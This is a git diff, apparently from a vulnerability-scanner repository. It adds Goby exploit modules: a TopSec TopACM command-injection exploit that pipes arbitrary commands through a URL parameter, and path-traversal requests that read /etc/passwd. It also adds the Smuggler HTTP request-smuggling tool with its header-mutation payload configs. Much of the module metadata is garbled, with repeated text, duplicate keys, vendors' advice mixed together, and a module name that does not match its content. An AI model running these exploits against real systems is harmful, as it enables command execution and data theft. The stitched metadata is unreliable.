Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.
There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.
","Product":"TopSec-TopACM","Homepage":"https://www.topsec.com.cn/product/27.html","DisclosureDate":"2022-07-28","Author":"su18@javaweb.org","FofaQuery":"body=\"ActiveXObject\" && body=\"name=\\\"dkey_login\\\" \" && body=\"repeat-x left top\"","GobyQuery":"body=\"ActiveXObject\" && body=\"name=\\\"dkey_login\\\" \" && body=\"repeat-x left top\"","Level":"3","Impact":"
There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.
Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.
There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.
Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.
There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.
There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.
","VulType":["Command Execution"],"Tags":["Command Execution"]}},"AttackSurfaces":{"Application":null,"Support":null,"Service":null,"System":null,"Hardware":null}}`
+
+ exploitTopACM092348783482 := func(cmd string, host *httpclient.FixUrl) bool {
+ // 攻击 URL
+ requestConfig := httpclient.NewGetRequestConfig("/view/IPV6/naborTable/static_convert.php?blocks[0]=|%20" + url.QueryEscape(cmd))
+ requestConfig.VerifyTls = false
+ requestConfig.FollowRedirect = false
+ requestConfig.Timeout = 15
+
+ // 发送攻击请求
+ if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
+ if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "ip -6 neigh del") {
+ return true
+ }
+ }
+ return false
+ }
+
+ checkExistFileTopACM092348783482 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool {
+ // 攻击 URL
+ requestConfig := httpclient.NewGetRequestConfig("/" + fileName + ".php")
+ requestConfig.VerifyTls = false
+ requestConfig.FollowRedirect = false
+ requestConfig.Timeout = 15
+
+ // 发送攻击请求
+ if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
+ if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fileContent) {
+ return true
+ }
+ }
+ return false
+ }
+
+ ExpManager.AddExploit(NewExploit(
+ goutils.GetFileName(),
+ expJson,
+ func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
+
+ // 生成随机文件名
+ randomFileName := goutils.RandomHexString(6)
+
+ // 漏洞攻击包,POC 使用自删除的文件
+ // /var/www/html/"+randomFileName+".php", u) {
+ return checkExistFileTopACM092348783482(randomFileName, "e165421110ba03099a1c0393373c5b43", u)
+ }
+
+ return false
+ },
+ func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
+
+ cmd := ss.Params["cmd"].(string)
+
+ if exploitTopACM092348783482(cmd, expResult.HostInfo) {
+ expResult.Success = true
+ expResult.Output = "命令执行成功"
+ }
+
+ return expResult
+ },
+ ))
+}
+
+// https://heiwado.cn:8443/
\ No newline at end of file
diff --git a/lib/goby/goby_pocs/Tuchuang_Library_System_Arbitrary_Reading_File_CNVD_2021_34454.go b/lib/goby/goby_pocs/Tuchuang_Library_System_Arbitrary_Reading_File_CNVD_2021_34454.go
new file mode 100644
index 000000000..d0c86751a
--- /dev/null
+++ b/lib/goby/goby_pocs/Tuchuang_Library_System_Arbitrary_Reading_File_CNVD_2021_34454.go
@@ -0,0 +1,105 @@
+package exploits
+
+import (
+ "git.gobies.org/goby/goscanner/goutils"
+)
+
+func init() {
+ expJson := `{
+ "Name": "Tuchuang Library System Arbitrary Reading File (CNVD-2021-34454)",
+ "Description": "Guangzhou Tuchuang Computer Software Development Co., Ltd. is a high-tech enterprise integrating product development, application integration and customer service. Its main goal is to provide high quality application software system design, integration and maintenance services for users in the library industry\\nUsing the vulnerability, an attacker can read arbitrary files on a Windows or Linux server.Using the file reading vulnerability, the attacker can obtain the system file information, thus causing the sensitive information leakage.",
+ "Product": "Tuchuang Library System",
+ "Homepage": "www.interlib.com.cn",
+ "DisclosureDate": "2021-07-03",
+ "Author": "luckying1314@139.com",
+ "GobyQuery": "body=\"广州图创\" &&body=\"/interlib/common/\"",
+ "Level": "2",
+ "Impact": "
Using the vulnerability, an attacker can read arbitrary files on a Windows or Linux server.Using the file reading vulnerability, the attacker can obtain the system file information, thus causing the sensitive information leakage.
",
+ "Recommandation": "
Limit ../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files
Information leakage is mainly caused by the negligence of developers or operation and maintenance management personnel. The attacker can further analyze the attack target through the information he/she has mastered, so as to effectively launch the next effective attack.
The application system does not carry out effective identity verification on the service function page. If the application system does not log in and knows the address of the service function page, it can directly operate the functions under the page, which may cause malicious damage to the application system
",
+ "Recommandation": "
1. Delete the affected files to avoid information leakage.
2. Set up a unified error report page
3. Authorization of sensitive resources or information
Information leakage is mainly caused by the negligence of developers or operation and maintenance management personnel. The attacker can further analyze the attack target through the information he/she has mastered, so as to effectively launch the next effective attack.
The application system does not carry out effective identity verification on the service function page. If the application system does not log in and knows the address of the service function page, it can directly operate the functions under the page, which may cause malicious damage to the application system
",
+ "Recommandation": "
1. Delete the affected files to avoid information leakage.
2. Set up a unified error report page
3. Authorization of sensitive resources or information
Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system
",
+ "Recommandation": "
The manufacturer has not provided the relevant vulnerability patch link, please pay attention to the manufacturer's home page to update at any time:https://www.dahuatech.com/
NSFOCUS Next Generation Firewall is a dedicated security firewall device.
There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.
There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.
",
+ "Recommendation": "
1. Block 8081 port access. 2. Pay attention to the update of the official website in time: https://www.nsfocus.com.cn/
NSFOCUS Next Generation Firewall is a dedicated security firewall device.
There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.
",
+ "Recommendation": "
1. Block 8081 port access. 2. Pay attention to the update of the official website in time: https://www.nsfocus.com.cn/
",
+ "Impact": "
There is an arbitrary file upload vulnerability in the NSFOCUS next-generation firewall bugsInfo/resourse.php file. An attacker can upload a malicious Trojan to gain server permissions.
Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.
",
+ "Recommandation": "
Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files.
",
+ "References": [
+ "https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md"
+ ],
+ "HasExp": true,
+ "ExpParams": [
+ {
+ "name": "path",
+ "type": "createSelect",
+ "value": "../etc/passwd,../etc/config/account",
+ "show": ""
+ }
+ ],
+ "ExpTips": {
+ "Type": "",
+ "Content": ""
+ },
+ "ScanSteps": [
+ "AND",
+ {
+ "Request": {
+ "method": "GET",
+ "uri": "/api-third-party/download/extdisks../etc/passwd",
+ "follow_redirect": true,
+ "header": {},
+ "data_type": "text",
+ "data": ""
+ },
+ "ResponseTest": {
+ "type": "group",
+ "operation": "AND",
+ "checks": [
+ {
+ "type": "item",
+ "variable": "$code",
+ "operation": "==",
+ "value": "200",
+ "bz": ""
+ },
+ {
+ "type": "item",
+ "variable": "$body",
+ "operation": "contains",
+ "value": "root",
+ "bz": ""
+ }
+ ]
+ },
+ "SetVariable": []
+ }
+ ],
+ "ExploitSteps": [
+ "AND",
+ {
+ "Request": {
+ "method": "GET",
+ "uri": "/api-third-party/download/extdisks{{{path}}}",
+ "follow_redirect": true,
+ "header": {},
+ "data_type": "text",
+ "data": ""
+ },
+ "SetVariable": [
+ "output|lastbody"
+ ]
+ }
+ ],
+ "Tags": [
+ "fileread"
+ ],
+ "CVEIDs": [
+ "CVE-2019-18371"
+ ],
+ "CVSSScore": "3.1",
+ "AttackSurfaces": {
+ "Application": [
+ "Mi Router"
+ ],
+ "Support": null,
+ "Service": null,
+ "System": null,
+ "Hardware": null
+ }
+}`
+
+ ExpManager.AddExploit(NewExploit(
+ goutils.GetFileName(),
+ expJson,
+ nil,
+ nil,
+ ))
+}
\ No newline at end of file
diff --git a/tools/Smuggler/.gitignore b/tools/Smuggler/.gitignore
new file mode 100644
index 000000000..883987f83
--- /dev/null
+++ b/tools/Smuggler/.gitignore
@@ -0,0 +1,154 @@
+# Editors
+.vscode/
+.idea/
+
+# Vagrant
+.vagrant/
+
+# Mac/OSX
+.DS_Store
+
+# Windows
+Thumbs.db
+
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# Smuggler results
+payloads/*.txt
\ No newline at end of file
diff --git a/tools/Smuggler/LICENSE b/tools/Smuggler/LICENSE
new file mode 100644
index 000000000..e669a6419
--- /dev/null
+++ b/tools/Smuggler/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2020 Evan Custodio
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/tools/Smuggler/README.md b/tools/Smuggler/README.md
new file mode 100644
index 000000000..044977010
--- /dev/null
+++ b/tools/Smuggler/README.md
@@ -0,0 +1,139 @@
+```
+ ______ _
+ / _____) | |
+( (____ ____ _ _ ____ ____| | _____ ____
+ \____ \| \| | | |/ _ |/ _ | || ___ |/ ___)
+ _____) ) | | | |_| ( (_| ( (_| | || ____| |
+(______/|_|_|_|____/ \___ |\___ |\_)_____)_|
+ (_____(_____|
+
+ @defparam
+```
+
+# Smuggler
+
+An HTTP Request Smuggling / Desync testing tool written in Python 3
+
+## Acknowledgements
+
+A special thanks to [James Kettle](https://skeletonscribe.net/) for his [research and methods into HTTP desyncs](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
+
+And a special thanks to [Ben Sadeghipour](https://www.nahamsec.com/) for beta testing Smuggler and for allowing me to discuss my work at [Nahamcon 2020](https://nahamcon.com)
+
+## IMPORTANT
+This tool does not guarantee no false-positives or false-negatives. Just because a mutation may report OK does not mean there isn't a desync issue, but more importantly just because the tool indicates a potential desync issue does not mean there definitely exists one. The script may encounter request processors from large entities (i.e. Google/AWS/Yahoo/Akamai/etc..) that may show false positive results.
+
+## Installation
+
+1) git clone https://github.com/defparam/smuggler.git
+2) cd smuggler
+3) python3 smuggler.py -h
+
+## Example Usage
+
+Single Host:
+```
+python3 smuggler.py -u
+```
+
+List of hosts:
+```
+cat list_of_hosts.txt | python3 smuggler.py
+```
+
+## Options
+
+```
+usage: smuggler.py [-h] [-u URL] [-v VHOST] [-x] [-m METHOD] [-l LOG] [-q]
+ [-t TIMEOUT] [--no-color] [-c CONFIGFILE]
+
+optional arguments:
+ -h, --help show this help message and exit
+ -u URL, --url URL Target URL with Endpoint
+ -v VHOST, --vhost VHOST
+ Specify a virtual host
+ -x, --exit_early Exit scan on first finding
+ -m METHOD, --method METHOD
+ HTTP method to use (e.g GET, POST) Default: POST
+ -l LOG, --log LOG Specify a log file
+ -q, --quiet Quiet mode will only log issues found
+ -t TIMEOUT, --timeout TIMEOUT
+ Socket timeout value Default: 5
+ --no-color Suppress color codes
+ -c CONFIGFILE, --configfile CONFIGFILE
+ Filepath to the configuration file of payloads
+```
+
+Smuggler at a minimum requires either a URL via the -u/--url argument or a list of URLs piped into the script via stdin.
+If the URL specifies `https://` then Smuggler will connect to the host:port using SSL/TLS. If the URL specifies `http://`
+then no SSL/TLS will be used at all. If only the host is specified, then the script will default to `https://`
+
+Use -v/--vhost \ to specify a different host header from the server address
+
+Use -x/--exit_early to exit the scan of a given server when a potential issue is found. In piped mode smuggler will just continue to the next host on the list
+
+Use -m/--method \ to specify a different HTTP verb from POST (i.e GET/PUT/PATCH/OPTIONS/CONNECT/TRACE/DELETE/HEAD/etc...)
+
+Use -l/--log \ to write output to file as well as stdout
+
+Use -q/--quiet reduce verbosity and only log issues found
+
+Use -t/--timeout \ to specify the socket timeout. The value should be high enough to conclude that the socket is hanging, but low enough to speed up testing (default: 5)
+
+Use --no-color to suppress the output color codes printed to stdout (logs by default don't include color codes)
+
+Use -c/--configfile \ to specify your smuggler mutation configuration file (default: default.py)
+
+## Config Files
+Configuration files are python files that exist in the ./config directory of smuggler. These files describe the content of the HTTP requests and the transfer-encoding mutations to test.
+
+
+Here is example content of default.py:
+```python
+def render_template(gadget):
+ RN = "\r\n"
+ p = Payload()
+ p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN
+ # p.header += "Transfer-Encoding: chunked" +RN
+ p.header += gadget + RN
+ p.header += "Host: __HOST__" + RN
+ p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN
+ p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN
+ p.header += "Content-Length: __REPLACE_CL__" + RN
+ return p
+
+
+mutations["nameprefix1"] = render_template(" Transfer-Encoding: chunked")
+mutations["tabprefix1"] = render_template("Transfer-Encoding:\tchunked")
+mutations["tabprefix2"] = render_template("Transfer-Encoding\t:\tchunked")
+mutations["space1"] = render_template("Transfer-Encoding : chunked")
+
+for i in [0x1,0x4,0x8,0x9,0xa,0xb,0xc,0xd,0x1F,0x20,0x7f,0xA0,0xFF]:
+ mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i))
+ mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i))
+ mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i))
+ mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i))
+ mutations["xprespace-%02x"%i] = render_template("X: X%cTransfer-Encoding: chunked"%(i))
+ mutations["endspacex-%02x"%i] = render_template("Transfer-Encoding: chunked%cX: X"%(i))
+ mutations["rxprespace-%02x"%i] = render_template("X: X\r%cTransfer-Encoding: chunked"%(i))
+ mutations["xnprespace-%02x"%i] = render_template("X: X%c\nTransfer-Encoding: chunked"%(i))
+ mutations["endspacerx-%02x"%i] = render_template("Transfer-Encoding: chunked\r%cX: X"%(i))
+ mutations["endspacexn-%02x"%i] = render_template("Transfer-Encoding: chunked%c\nX: X"%(i))
+```
+
+There are no input arguments yet on specifying your own customer headers and user-agents. It is recommended to create your own configuration file based on default.py and modify it to your liking.
+
+Smuggler comes with 3 configuration files: default.py (fast), doubles.py (niche, slow), exhaustive.py (very slow)
+default.py is the fastest because it contains less mutations.
+
+specify configuration files using the -c/--configfile \ command line option
+
+## Payloads Directory
+Inside the Smuggler directory is the payloads directory. When Smuggler finds a potential CLTE or TECL desync issue, it will automatically dump a binary txt file of the problematic payload in the payloads directory. All payload filenames are annotated with the hostname, desync type and mutation type. Use these payloads to netcat directly to the server or to import into other analysis tools.
+
+## Helper Scripts
+After you find a desync issue feel free to use my Turbo Intruder desync scripts found Here: https://github.com/defparam/tiscripts
+`DesyncAttack_CLTE.py` and `DesyncAttack_TECL.py` are great scripts to help stage a desync attack
+
+## License
+These scripts are released under the MIT license. See [LICENSE](https://github.com/defparam/smuggler/blob/master/LICENSE).
diff --git a/tools/Smuggler/configs/default.py b/tools/Smuggler/configs/default.py
new file mode 100644
index 000000000..c40645ee3
--- /dev/null
+++ b/tools/Smuggler/configs/default.py
@@ -0,0 +1,31 @@
+
+def render_template(gadget):
+ RN = "\r\n"
+ p = Payload()
+ p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN
+ # p.header += "Transfer-Encoding: chunked" +RN
+ p.header += gadget + RN
+ p.header += "Host: __HOST__" + RN
+ p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN
+ p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN
+ p.header += "Content-Length: __REPLACE_CL__" + RN
+ return p
+
+
+mutations["nameprefix1"] = render_template(" Transfer-Encoding: chunked")
+mutations["tabprefix1"] = render_template("Transfer-Encoding:\tchunked")
+mutations["tabprefix2"] = render_template("Transfer-Encoding\t:\tchunked")
+mutations["space1"] = render_template("Transfer-Encoding : chunked")
+
+for i in [0x1,0x4,0x8,0x9,0xa,0xb,0xc,0xd,0x1F,0x20,0x7f,0xA0,0xFF]:
+ mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i))
+ mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i))
+ mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i))
+ mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i))
+ mutations["xprespace-%02x"%i] = render_template("X: X%cTransfer-Encoding: chunked"%(i))
+ mutations["endspacex-%02x"%i] = render_template("Transfer-Encoding: chunked%cX: X"%(i))
+ mutations["rxprespace-%02x"%i] = render_template("X: X\r%cTransfer-Encoding: chunked"%(i))
+ mutations["xnprespace-%02x"%i] = render_template("X: X%c\nTransfer-Encoding: chunked"%(i))
+ mutations["endspacerx-%02x"%i] = render_template("Transfer-Encoding: chunked\r%cX: X"%(i))
+ mutations["endspacexn-%02x"%i] = render_template("Transfer-Encoding: chunked%c\nX: X"%(i))
+
diff --git a/tools/Smuggler/configs/doubles.py b/tools/Smuggler/configs/doubles.py
new file mode 100644
index 000000000..618583436
--- /dev/null
+++ b/tools/Smuggler/configs/doubles.py
@@ -0,0 +1,27 @@
+
+def render_template(gadget):
+ RN = "\r\n"
+ p = Payload()
+ p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN
+ p.header += gadget + RN
+ p.header += "Host: __HOST__" + RN
+ p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN
+ p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN
+ p.header += "Content-Length: __REPLACE_CL__" + RN
+ return p
+
+for i in range(0x1,0x21):
+ mutations["%02x-%02x-XX-XX"%(i,i)] = render_template("%cTransfer-Encoding%c: chunked"%(i,i))
+ mutations["%02x-XX-%02x-XX"%(i,i)] = render_template("%cTransfer-Encoding:%cchunked"%(i,i))
+ mutations["%02x-XX-XX-%02x"%(i,i)] = render_template("%cTransfer-Encoding: chunked%c"%(i,i))
+ mutations["XX-%02x-%02x-XX"%(i,i)] = render_template("Transfer-Encoding%c:%cchunked"%(i,i))
+ mutations["XX-%02x-XX-%02x"%(i,i)] = render_template("Transfer-Encoding%c: chunked%c"%(i,i))
+ mutations["XX-XX-%02x-%02x"%(i,i)] = render_template("Transfer-Encoding:%cchunked%c"%(i,i))
+
+for i in range(0x7F,0x100):
+ mutations["%02x-%02x-XX-XX"%(i,i)] = render_template("%cTransfer-Encoding%c: chunked"%(i,i))
+ mutations["%02x-XX-%02x-XX"%(i,i)] = render_template("%cTransfer-Encoding:%cchunked"%(i,i))
+ mutations["%02x-XX-XX-%02x"%(i,i)] = render_template("%cTransfer-Encoding: chunked%c"%(i,i))
+ mutations["XX-%02x-%02x-XX"%(i,i)] = render_template("Transfer-Encoding%c:%cchunked"%(i,i))
+ mutations["XX-%02x-XX-%02x"%(i,i)] = render_template("Transfer-Encoding%c: chunked%c"%(i,i))
+ mutations["XX-XX-%02x-%02x"%(i,i)] = render_template("Transfer-Encoding:%cchunked%c"%(i,i))
\ No newline at end of file
diff --git a/tools/Smuggler/configs/exhaustive.py b/tools/Smuggler/configs/exhaustive.py
new file mode 100644
index 000000000..2d2602534
--- /dev/null
+++ b/tools/Smuggler/configs/exhaustive.py
@@ -0,0 +1,52 @@
+
+def render_template(gadget):
+ RN = "\r\n"
+ p = Payload()
+ p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN
+ p.header += gadget + RN
+ p.header += "Host: __HOST__" + RN
+ p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN
+ p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN
+ p.header += "Content-Length: __REPLACE_CL__" + RN
+ return p
+
+mutations["nameprefix1"] = render_template(" Transfer-Encoding: chunked")
+mutations["tabprefix1"] = render_template("Transfer-Encoding:\tchunked")
+mutations["tabprefix2"] = render_template("Transfer-Encoding\t:\tchunked")
+mutations["spacejoin1"] = render_template("Transfer Encoding: chunked")
+mutations["underjoin1"] = render_template("Transfer_Encoding: chunked")
+mutations["smashed"] = render_template("Transfer Encoding:chunked")
+mutations["space1"] = render_template("Transfer-Encoding : chunked")
+mutations["valueprefix1"] = render_template("Transfer-Encoding: chunked")
+mutations["vertprefix1"] = render_template("Transfer-Encoding:\u000Bchunked")
+mutations["commaCow"] = render_template("Transfer-Encoding: chunked, cow")
+mutations["cowComma"] = render_template("Transfer-Encoding: cow, chunked")
+mutations["contentEnc"] = render_template("Content-Encoding: chunked")
+mutations["linewrapped1"] = render_template("Transfer-Encoding:\n chunked")
+mutations["quoted"] = render_template("Transfer-Encoding: \"chunked\"")
+mutations["aposed"] = render_template("Transfer-Encoding: 'chunked'")
+mutations["lazygrep"] = render_template("Transfer-Encoding: chunk")
+mutations["sarcasm"] = render_template("TrAnSFer-EnCODinG: cHuNkeD")
+mutations["yelling"] = render_template("TRANSFER-ENCODING: CHUNKED")
+mutations["0dsuffix"] = render_template("Transfer-Encoding: chunked\r")
+mutations["tabsuffix"] = render_template("Transfer-Encoding: chunked\t")
+mutations["revdualchunk"] = render_template("Transfer-Encoding: cow\r\nTransfer-Encoding: chunked")
+mutations["0dspam"] = render_template("Transfer\r-Encoding: chunked")
+mutations["nested"] = render_template("Transfer-Encoding: cow chunked bar")
+mutations["spaceFF"] = render_template("Transfer-Encoding:\xFFchunked")
+mutations["accentCH"] = render_template("Transfer-Encoding: ch\x96nked")
+mutations["accentTE"] = render_template("Transf\x82r-Encoding: chunked")
+mutations["x-rout"] = render_template("X:X\rTransfer-Encoding: chunked")
+mutations["x-nout"] = render_template("X:X\nTransfer-Encoding: chunked")
+for i in range(0x1,0x20):
+ mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i))
+ mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i))
+ mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i))
+ mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i))
+
+for i in range(0x7F,0x100):
+ mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i))
+ mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i))
+ mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i))
+ mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i))
+
diff --git a/tools/Smuggler/payloads/README.md b/tools/Smuggler/payloads/README.md
new file mode 100644
index 000000000..b93db33b3
--- /dev/null
+++ b/tools/Smuggler/payloads/README.md
@@ -0,0 +1,3 @@
+# Payloads Directory
+
+When Smuggler finds a potential issue it will dump a PoC of the the request into this directory
\ No newline at end of file
diff --git a/tools/Smuggler/smuggler.py b/tools/Smuggler/smuggler.py
new file mode 100755
index 000000000..3dd790518
--- /dev/null
+++ b/tools/Smuggler/smuggler.py
@@ -0,0 +1,445 @@
+#!/usr/bin/python3
+# MIT License
+#
+# Copyright (c) 2020 Evan Custodio
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+import argparse
+import re
+import time
+import sys
+import os
+import random
+import string
+import importlib
+import hashlib
+from copy import deepcopy
+from time import sleep
+from datetime import datetime
